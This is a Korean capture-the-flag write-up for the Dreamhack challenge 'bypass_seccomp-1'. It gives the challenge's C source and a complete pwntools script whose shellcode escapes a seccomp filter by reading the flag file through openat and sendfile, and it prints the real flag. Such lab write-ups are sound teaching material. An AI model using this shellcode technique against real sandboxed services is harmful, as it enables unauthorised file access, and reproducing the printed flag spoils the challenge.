dreamhack - bypass_seccomp-1 writeup
[dreamhack] bypass_seccomp-1 writeup
1. 문제

seccomp
이 문제는 작동하고 있는 서비스(seccomp)의 바이너리와 소스코드가 주어집니다.
취약점을 익스플로잇해 셸을 획득한 후, 'flag' 파일을 읽으세요.
'flag' 파일의 내용을 워게임 사이트에 인증하면 점수를 획득할 수 있습니다.
플래그의 형식은 DH{...} 입니다.
2. 풀이
#include <fcntl.h>
#include <seccomp.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/prctl.h>
#include <unistd.h>
void sandbox() {
scmp_filter_ctx ctx;
ctx = seccomp_init(SCMP_ACT_ALLOW);
if (ctx == NULL) {
exit(0);
}
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(open), 0);
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execve), 0);
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execveat), 0);
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(write), 0);
seccomp_load(ctx);
}
int main(int argc, char *argv[]) {
void *shellcode = mmap(0, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC,
MAP_SHARED | MAP_ANONYMOUS, -1, 0);
void (*sc)();
init();
memset(shellcode, 0, 0x1000);
printf("shellcode: ");
read(0, shellcode, 0x1000);
sandbox();
sc = (void *)shellcode;
sc();
}
이전의 seccomp
문제와 비슷하지만, 이번에는 정확히 open
, execve
, evecveat
, write
시스템 호출을 막아놨다.
쉘을 실행시키기에는 evecve
, evecveat
이 막혀있고, 그외에 open
과 write
도 막혀있어서 cat flag
등의 명령어를 실행하기도 어렵다.
대신에 막히지않은 시스템 호출을 찾아봐야하는데 open
은 막혀있지만 openat
이 막혀있고, sendfile
도 막혀있지 않기 때문에 이를 활용하면 flag
파일을 열어서 출력이 가능하다.
어셈블리를 어떻게 작성해야할지 몰라서 이건 그냥 GPT에 맡겼다…
from pwn import *
#p = process("./bypass_seccomp")
p = remote("host3.dreamhack.games", 22617)
context.arch = "amd64"
context.os = "linux"
flag_path = b"/home/bypass_seccomp/flag\x00"
# push flag 경로 문자열 (역순, 8바이트씩)
flag_chunks = [
flag_path[i:i+8].ljust(8, b'\x00')
for i in range(0, len(flag_path), 8)
]
shellcode = b""
for chunk in reversed(flag_chunks):
shellcode += asm(f"mov rax, {u64(chunk)}; push rax")
# openat(AT_FDCWD, path, O_RDONLY)
shellcode += asm("""
mov rdi, -100 /* AT_FDCWD */
mov rsi, rsp /* pathname */
xor edx, edx /* O_RDONLY */
mov eax, 257 /* syscall: openat */
syscall
mov r12, rax /* save fd */
""")
# sendfile(1, r12, NULL, 100)
shellcode += asm("""
mov edi, 1 /* stdout */
mov rsi, r12 /* fd_flag */
xor rdx, rdx /* offset = NULL */
mov r10, 100 /* count */
mov eax, 40 /* syscall: sendfile */
syscall
""")
p.sendafter(b"shellcode: ", shellcode)
p.interactive()
ubuntu@instance-20250406-1126:~/dreamhack/level2/bypass_seccomp-1$ python3 e_bypass_seccomp.py
[+] Opening connection to host3.dreamhack.games on port 22617: Done
[*] Switching to interactive mode
DH{fdac9699a765693377fe6595a82744934ed91185f0300447c45f143a0c08c8c1}
원래는 sendfile
대신에 sendto
를 사용하고싶었는데 잘안됐다. sendto
로 내가 가지고있는 서버로 보낼 수 있지않을까?하고 nc
로 기다렸는데 아무래도 내부 방화벽문제로 안되는듯했다. 그래서 sendfile
의 존재를 알았고 stdout
에 줄 수 있다는 것도 알았다. 좋은 문제!
해결~